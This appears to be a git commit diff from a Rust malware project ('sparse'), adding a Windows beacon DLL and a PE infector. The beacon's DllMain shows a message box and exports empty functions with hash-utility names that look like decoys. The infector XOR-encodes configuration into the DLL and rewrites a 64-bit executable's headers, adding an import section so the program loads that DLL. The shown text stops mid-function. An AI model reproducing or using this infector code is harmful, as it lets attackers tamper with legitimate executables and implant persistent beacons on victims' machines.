feat: got PE injection working
This commit is contained in:
parent
cd2890ee36
commit
8d47ac128d
145
Cargo.lock
generated
145
Cargo.lock
generated
@ -1467,7 +1467,7 @@ dependencies = [
|
|||||||
"iana-time-zone-haiku",
|
"iana-time-zone-haiku",
|
||||||
"js-sys",
|
"js-sys",
|
||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
"windows-core",
|
"windows-core 0.52.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -3277,14 +3277,28 @@ dependencies = [
|
|||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-windows-beacon"
|
name = "sparse-windows-beacon"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"windows",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-windows-infector"
|
name = "sparse-windows-infector"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"errno",
|
||||||
|
"sparse-actions",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sparse-windows-installer"
|
name = "sparse-windows-installer"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
|
dependencies = [
|
||||||
|
"hex",
|
||||||
|
"rand 0.9.0",
|
||||||
|
"sparse-actions",
|
||||||
|
"sparse-windows-infector",
|
||||||
|
"structopt",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "spin"
|
name = "spin"
|
||||||
@ -4403,6 +4417,16 @@ version = "0.4.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows"
|
||||||
|
version = "0.59.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7f919aee0a93304be7f62e8e5027811bbba96bcb1de84d6618be56e43f8a32a1"
|
||||||
|
dependencies = [
|
||||||
|
"windows-core 0.59.0",
|
||||||
|
"windows-targets 0.53.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-core"
|
name = "windows-core"
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
@ -4412,6 +4436,59 @@ dependencies = [
|
|||||||
"windows-targets 0.52.6",
|
"windows-targets 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-core"
|
||||||
|
version = "0.59.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "810ce18ed2112484b0d4e15d022e5f598113e220c53e373fb31e67e21670c1ce"
|
||||||
|
dependencies = [
|
||||||
|
"windows-implement",
|
||||||
|
"windows-interface",
|
||||||
|
"windows-result",
|
||||||
|
"windows-strings",
|
||||||
|
"windows-targets 0.53.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-implement"
|
||||||
|
version = "0.59.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "83577b051e2f49a058c308f17f273b570a6a758386fc291b5f6a934dd84e48c1"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.96",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-interface"
|
||||||
|
version = "0.59.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cb26fd936d991781ea39e87c3a27285081e3c0da5ca0fcbc02d368cc6f52ff01"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.96",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-result"
|
||||||
|
version = "0.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d08106ce80268c4067c0571ca55a9b4e9516518eaa1a1fe9b37ca403ae1d1a34"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets 0.53.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-strings"
|
||||||
|
version = "0.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b888f919960b42ea4e11c2f408fadb55f78a9f236d5eef084103c8ce52893491"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets 0.53.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-sys"
|
name = "windows-sys"
|
||||||
version = "0.48.0"
|
version = "0.48.0"
|
||||||
@ -4463,13 +4540,29 @@ dependencies = [
|
|||||||
"windows_aarch64_gnullvm 0.52.6",
|
"windows_aarch64_gnullvm 0.52.6",
|
||||||
"windows_aarch64_msvc 0.52.6",
|
"windows_aarch64_msvc 0.52.6",
|
||||||
"windows_i686_gnu 0.52.6",
|
"windows_i686_gnu 0.52.6",
|
||||||
"windows_i686_gnullvm",
|
"windows_i686_gnullvm 0.52.6",
|
||||||
"windows_i686_msvc 0.52.6",
|
"windows_i686_msvc 0.52.6",
|
||||||
"windows_x86_64_gnu 0.52.6",
|
"windows_x86_64_gnu 0.52.6",
|
||||||
"windows_x86_64_gnullvm 0.52.6",
|
"windows_x86_64_gnullvm 0.52.6",
|
||||||
"windows_x86_64_msvc 0.52.6",
|
"windows_x86_64_msvc 0.52.6",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b1e4c7e8ceaaf9cb7d7507c974735728ab453b67ef8f18febdd7c11fe59dca8b"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm 0.53.0",
|
||||||
|
"windows_aarch64_msvc 0.53.0",
|
||||||
|
"windows_i686_gnu 0.53.0",
|
||||||
|
"windows_i686_gnullvm 0.53.0",
|
||||||
|
"windows_i686_msvc 0.53.0",
|
||||||
|
"windows_x86_64_gnu 0.53.0",
|
||||||
|
"windows_x86_64_gnullvm 0.53.0",
|
||||||
|
"windows_x86_64_msvc 0.53.0",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_gnullvm"
|
name = "windows_aarch64_gnullvm"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4482,6 +4575,12 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_aarch64_msvc"
|
name = "windows_aarch64_msvc"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4494,6 +4593,12 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_gnu"
|
name = "windows_i686_gnu"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4506,12 +4611,24 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_gnullvm"
|
name = "windows_i686_gnullvm"
|
||||||
version = "0.52.6"
|
version = "0.52.6"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnullvm"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_i686_msvc"
|
name = "windows_i686_msvc"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4524,6 +4641,12 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnu"
|
name = "windows_x86_64_gnu"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4536,6 +4659,12 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_gnullvm"
|
name = "windows_x86_64_gnullvm"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4548,6 +4677,12 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows_x86_64_msvc"
|
name = "windows_x86_64_msvc"
|
||||||
version = "0.48.5"
|
version = "0.48.5"
|
||||||
@ -4560,6 +4695,12 @@ version = "0.52.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.53.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "winnow"
|
name = "winnow"
|
||||||
version = "0.6.26"
|
version = "0.6.26"
|
||||||
|
|||||||
@ -151,7 +151,7 @@
|
|||||||
|
|
||||||
mkdir -p target/x86_64-{unknown-{linux-musl,freebsd},pc-windows-gnu}/debug
|
mkdir -p target/x86_64-{unknown-{linux-musl,freebsd},pc-windows-gnu}/debug
|
||||||
touch target/x86_64-unknown-{linux-musl,freebsd}/debug/sparse-unix-{beacon,installer}
|
touch target/x86_64-unknown-{linux-musl,freebsd}/debug/sparse-unix-{beacon,installer}
|
||||||
touch target/x86_64-pc-windows-gnu/debug/sparse-windows-{beacon.dll,installer.exe}
|
touch target/x86_64-pc-windows-gnu/debug/sparse{-windows-installer.exe,_windows_beacon.dll}
|
||||||
'';
|
'';
|
||||||
in {
|
in {
|
||||||
packages = outputs.packages;
|
packages = outputs.packages;
|
||||||
|
|||||||
@ -271,7 +271,7 @@ let
|
|||||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||||
|
|
||||||
SPARSE_BEACON_WINDOWS =
|
SPARSE_BEACON_WINDOWS =
|
||||||
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
|
"${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
|
||||||
});
|
});
|
||||||
|
|
||||||
sparse-server = craneLib.mkCargoDerivation (commonArgs // {
|
sparse-server = craneLib.mkCargoDerivation (commonArgs // {
|
||||||
|
|||||||
@ -78,8 +78,6 @@ fn main() -> Result<(), Error> {
|
|||||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||||
|
|
||||||
std::fs::write("./debug.params-pre", ¶meters_buffer)?;
|
|
||||||
|
|
||||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
|
|||||||
@ -3,6 +3,8 @@ name = "sparse-windows-beacon"
|
|||||||
edition = "2024"
|
edition = "2024"
|
||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
|
[lib]
|
||||||
crate-type = ["cdylib"]
|
crate-type = ["cdylib"]
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
windows = { version = "0.59.0", features = ["Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
|
||||||
|
|||||||
32
sparse-windows-beacon/src/lib.rs
Normal file
32
sparse-windows-beacon/src/lib.rs
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn compute_hash() {}
|
||||||
|
|
||||||
|
use windows::{
|
||||||
|
core::*,
|
||||||
|
Win32::{System::SystemServices::DLL_PROCESS_ATTACH, UI::WindowsAndMessaging::*},
|
||||||
|
};
|
||||||
|
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
|
||||||
|
if dw_reason == DLL_PROCESS_ATTACH {
|
||||||
|
std::thread::spawn(|| unsafe {
|
||||||
|
MessageBoxW(None, w!("Hi"), w!("There"), MB_OK);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
1
|
||||||
|
}
|
||||||
|
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn md4sum() {}
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn md5sum() {}
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn sha256sum() {}
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn sha384sum() {}
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn sha512sum() {}
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn sha1sum() {}
|
||||||
|
#[unsafe(no_mangle)]
|
||||||
|
pub extern "C" fn sha2sum() {}
|
||||||
@ -1 +0,0 @@
|
|||||||
fn main() {}
|
|
||||||
@ -4,3 +4,5 @@ edition = "2024"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
errno = "0.3.10"
|
||||||
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
|
|||||||
@ -1,14 +1,405 @@
|
|||||||
pub fn add(left: u64, right: u64) -> u64 {
|
use std::{
|
||||||
left + right
|
io::{prelude::*, Error, SeekFrom},
|
||||||
|
path::Path,
|
||||||
|
slice,
|
||||||
|
};
|
||||||
|
|
||||||
|
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
||||||
|
|
||||||
|
mod pe_types;
|
||||||
|
use pe_types::*;
|
||||||
|
|
||||||
|
macro_rules! dbgX {
|
||||||
|
() => {
|
||||||
|
eprintln!("[{}:{}:{}]", file!(), line!(), column!())
|
||||||
|
};
|
||||||
|
($val:expr $(,)?) => {
|
||||||
|
// Use of `match` here is intentional because it affects the lifetimes
|
||||||
|
// of temporaries - https://stackoverflow.com/a/48732525/1063961
|
||||||
|
match $val {
|
||||||
|
tmp => {
|
||||||
|
eprintln!("[{}:{}:{}] {} = {:X?}",
|
||||||
|
file!(), line!(), column!(), stringify!($val), &tmp);
|
||||||
|
tmp
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
($($val:expr),+ $(,)?) => {
|
||||||
|
($(dbgX!($val)),+,)
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(not(debug_assertions))]
|
||||||
mod tests {
|
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
|
||||||
use super::*;
|
#[cfg(debug_assertions)]
|
||||||
|
pub const SPARSE_LIBRARY: &'static [u8] =
|
||||||
|
include_bytes!("../../target/x86_64-pc-windows-gnu/debug/sparse_windows_beacon.dll");
|
||||||
|
|
||||||
#[test]
|
pub fn infect_pe_binary<BP, LP>(
|
||||||
fn it_works() {
|
binary_path: BP,
|
||||||
let result = add(2, 2);
|
target_library_path: LP,
|
||||||
assert_eq!(result, 4);
|
mut sparse_parameters: Vec<u8>,
|
||||||
|
) -> Result<(), Error>
|
||||||
|
where
|
||||||
|
BP: AsRef<Path>,
|
||||||
|
LP: AsRef<Path>,
|
||||||
|
{
|
||||||
|
let mut sparse_library = SPARSE_LIBRARY.to_vec();
|
||||||
|
|
||||||
|
for b in sparse_parameters.iter_mut() {
|
||||||
|
*b = *b ^ (XOR_KEY as u8);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for i in 0..(sparse_library.len() - sparse_parameters.len()) {
|
||||||
|
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
|
||||||
|
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::fs::write(&target_library_path, sparse_library)?;
|
||||||
|
|
||||||
|
let mut binary = std::fs::OpenOptions::new()
|
||||||
|
.read(true)
|
||||||
|
.write(true)
|
||||||
|
.truncate(false)
|
||||||
|
.open(&binary_path)
|
||||||
|
.expect("Could not open binary path for infecting");
|
||||||
|
|
||||||
|
let mut binary_data = Vec::new();
|
||||||
|
binary.read_to_end(&mut binary_data)?;
|
||||||
|
|
||||||
|
let header: &DOSHeader = unsafe { &*(binary_data.as_ptr() as *const _) };
|
||||||
|
|
||||||
|
let coff_header: &COFFHeader = unsafe {
|
||||||
|
&*(binary_data
|
||||||
|
.as_ptr()
|
||||||
|
.offset(header.coff_header_offset as isize) as *const _)
|
||||||
|
};
|
||||||
|
|
||||||
|
if coff_header.magic != *b"PE\x00\x00" {
|
||||||
|
eprintln!("Could not find or parse COFF header!");
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
|
||||||
|
let optional_header: &PEHeader = unsafe {
|
||||||
|
let offset =
|
||||||
|
header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
|
||||||
|
&*(binary_data.as_ptr().offset(offset) as *const _)
|
||||||
|
};
|
||||||
|
|
||||||
|
if optional_header.magic != 0x020B {
|
||||||
|
eprintln!("Binary is not a 64 bit PE!");
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
|
||||||
|
let section_headers: &[SectionHeader] = unsafe {
|
||||||
|
let offset = header.coff_header_offset as isize
|
||||||
|
+ (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;
|
||||||
|
|
||||||
|
let ptr = binary_data.as_ptr().offset(offset) as *const _;
|
||||||
|
std::slice::from_raw_parts(ptr, coff_header.num_sections as usize)
|
||||||
|
};
|
||||||
|
|
||||||
|
let section_headers_copy = section_headers.to_vec();
|
||||||
|
|
||||||
|
let headers_end = header.coff_header_offset as usize
|
||||||
|
+ std::mem::size_of::<COFFHeader>()
|
||||||
|
+ std::mem::size_of::<PEHeader>()
|
||||||
|
+ (std::mem::size_of::<SectionHeader>() * coff_header.num_sections as usize);
|
||||||
|
|
||||||
|
let mut headers_bytes = binary_data[..headers_end].to_vec();
|
||||||
|
|
||||||
|
let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) };
|
||||||
|
|
||||||
|
let coff_header: &mut COFFHeader = unsafe {
|
||||||
|
&mut *(headers_bytes
|
||||||
|
.as_mut_ptr()
|
||||||
|
.offset(header.coff_header_offset as isize) as *mut _)
|
||||||
|
};
|
||||||
|
|
||||||
|
let optional_header: &mut PEHeader = unsafe {
|
||||||
|
let offset =
|
||||||
|
header.coff_header_offset as isize + std::mem::size_of::<COFFHeader>() as isize;
|
||||||
|
&mut *(headers_bytes.as_mut_ptr().offset(offset) as *mut _)
|
||||||
|
};
|
||||||
|
|
||||||
|
let section_headers: &mut [SectionHeader] = unsafe {
|
||||||
|
let offset = header.coff_header_offset as isize
|
||||||
|
+ (std::mem::size_of::<COFFHeader>() + std::mem::size_of::<PEHeader>()) as isize;
|
||||||
|
|
||||||
|
let ptr = headers_bytes.as_mut_ptr().offset(offset) as *mut _;
|
||||||
|
std::slice::from_raw_parts_mut(ptr, coff_header.num_sections as usize)
|
||||||
|
};
|
||||||
|
|
||||||
|
struct Section {
|
||||||
|
name: [u8; 8],
|
||||||
|
section_header_idx: usize,
|
||||||
|
data: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut sections = section_headers.iter().collect::<Vec<_>>();
|
||||||
|
|
||||||
|
sections.sort_by_key(|s| s.virtual_address);
|
||||||
|
|
||||||
|
let mut sections = sections
|
||||||
|
.iter()
|
||||||
|
.enumerate()
|
||||||
|
.map(|(section_header_idx, sechdr)| Section {
|
||||||
|
name: sechdr.name.clone(),
|
||||||
|
section_header_idx,
|
||||||
|
data: binary_data[sechdr.raw_data_ptr as usize
|
||||||
|
..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize]
|
||||||
|
.to_vec(),
|
||||||
|
})
|
||||||
|
.collect::<Vec<_>>();
|
||||||
|
|
||||||
|
// modify the PE
|
||||||
|
|
||||||
|
let Some(import_table_section_idx) = section_headers.iter().position(|section| {
|
||||||
|
(section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size))
|
||||||
|
.contains(&optional_header.import_table.virtual_address)
|
||||||
|
}) else {
|
||||||
|
eprintln!("Could not find section with import table");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Section with import table: {:?}",
|
||||||
|
std::str::from_utf8(§ion_headers[import_table_section_idx].name)
|
||||||
|
);
|
||||||
|
|
||||||
|
let start_index = optional_header.import_table.virtual_address
|
||||||
|
- section_headers[import_table_section_idx].virtual_address
|
||||||
|
+ section_headers[import_table_section_idx].raw_data_ptr;
|
||||||
|
|
||||||
|
let import_descriptors: *const ImportDescriptor =
|
||||||
|
unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ };
|
||||||
|
|
||||||
|
let mut import_descriptor_count = 0;
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Counting import table descriptors from {:x}",
|
||||||
|
optional_header.import_table.virtual_address
|
||||||
|
);
|
||||||
|
|
||||||
|
while unsafe {
|
||||||
|
(*import_descriptors.offset(import_descriptor_count)).ilt_rva != 0
|
||||||
|
|| (*import_descriptors.offset(import_descriptor_count)).time_date_stamp != 0
|
||||||
|
|| (*import_descriptors.offset(import_descriptor_count)).forwarder_chain != 0
|
||||||
|
|| (*import_descriptors.offset(import_descriptor_count)).name != 0
|
||||||
|
|| (*import_descriptors.offset(import_descriptor_count)).first_thunk != 0
|
||||||
|
} {
|
||||||
|
import_descriptor_count += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
let Some(new_virtual_address) = section_headers_copy
|
||||||
|
.iter()
|
||||||
|
.map(|sh| sh.virtual_address + sh.virtual_size)
|
||||||
|
.max()
|
||||||
|
else {
|
||||||
|
eprintln!("Somehow, there were no section headers before now");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
let Some(first_section_loc) = section_headers_copy.iter().map(|sh| sh.raw_data_ptr).min()
|
||||||
|
else {
|
||||||
|
eprintln!("Somehow, there were no section headers before now");
|
||||||
|
panic!();
|
||||||
|
};
|
||||||
|
|
||||||
|
if (first_section_loc as usize) < headers_bytes.len() + std::mem::size_of::<SectionHeader>() {
|
||||||
|
eprintln!("There is not enough room to add a new section header!");
|
||||||
|
panic!();
|
||||||
|
}
|
||||||
|
|
||||||
|
let new_virtual_address = new_virtual_address + optional_header.section_align;
|
||||||
|
let new_virtual_address =
|
||||||
|
new_virtual_address - (new_virtual_address % optional_header.section_align);
|
||||||
|
|
||||||
|
let new_raw_address = (binary_data.len() as u32) + optional_header.file_align;
|
||||||
|
let new_raw_address = new_raw_address - (new_raw_address % optional_header.file_align);
|
||||||
|
|
||||||
|
let new_section_size = ((import_descriptor_count as u32 + 2) * std::mem::size_of::<ImportDescriptor>() as u32) // space for new import table
|
||||||
|
+ (2 * 2 * std::mem::size_of::<ImageThunkData>() as u32) // space for new thunks to import compute_hash
|
||||||
|
+ 256; // space for the name of the library
|
||||||
|
|
||||||
|
let new_section_size_aligned = new_section_size + optional_header.file_align;
|
||||||
|
let new_section_size_aligned =
|
||||||
|
new_section_size_aligned - (new_section_size % optional_header.file_align);
|
||||||
|
|
||||||
|
let mut new_section_buffer = vec![0; std::mem::size_of::<SectionHeader>()];
|
||||||
|
let new_section: &mut SectionHeader =
|
||||||
|
unsafe { &mut *(new_section_buffer.as_mut_ptr() as *mut SectionHeader) };
|
||||||
|
|
||||||
|
new_section.name = *b".import\0";
|
||||||
|
new_section.virtual_size = new_section_size;
|
||||||
|
new_section.virtual_address = new_virtual_address;
|
||||||
|
new_section.raw_data_size = new_section_size_aligned;
|
||||||
|
new_section.raw_data_ptr = new_raw_address;
|
||||||
|
new_section.relocations_ptr = 0x0;
|
||||||
|
new_section.line_numbers_ptr = 0x0;
|
||||||
|
new_section.num_relocations = 0x0;
|
||||||
|
new_section.num_line_nums = 0x0;
|
||||||
|
new_section.characteristics = 0xE0000060;
|
||||||
|
|
||||||
|
coff_header.num_sections += 1;
|
||||||
|
optional_header.image_size +=
|
||||||
|
optional_header.file_align * (new_section_size / optional_header.file_align);
|
||||||
|
|
||||||
|
println!("Adding new section header!");
|
||||||
|
|
||||||
|
headers_bytes.extend(new_section_buffer);
|
||||||
|
|
||||||
|
let header: &mut DOSHeader = unsafe { &mut *(headers_bytes.as_mut_ptr() as *mut _) };
|
||||||
|
|
||||||
|
let coff_header: &mut COFFHeader = unsafe {
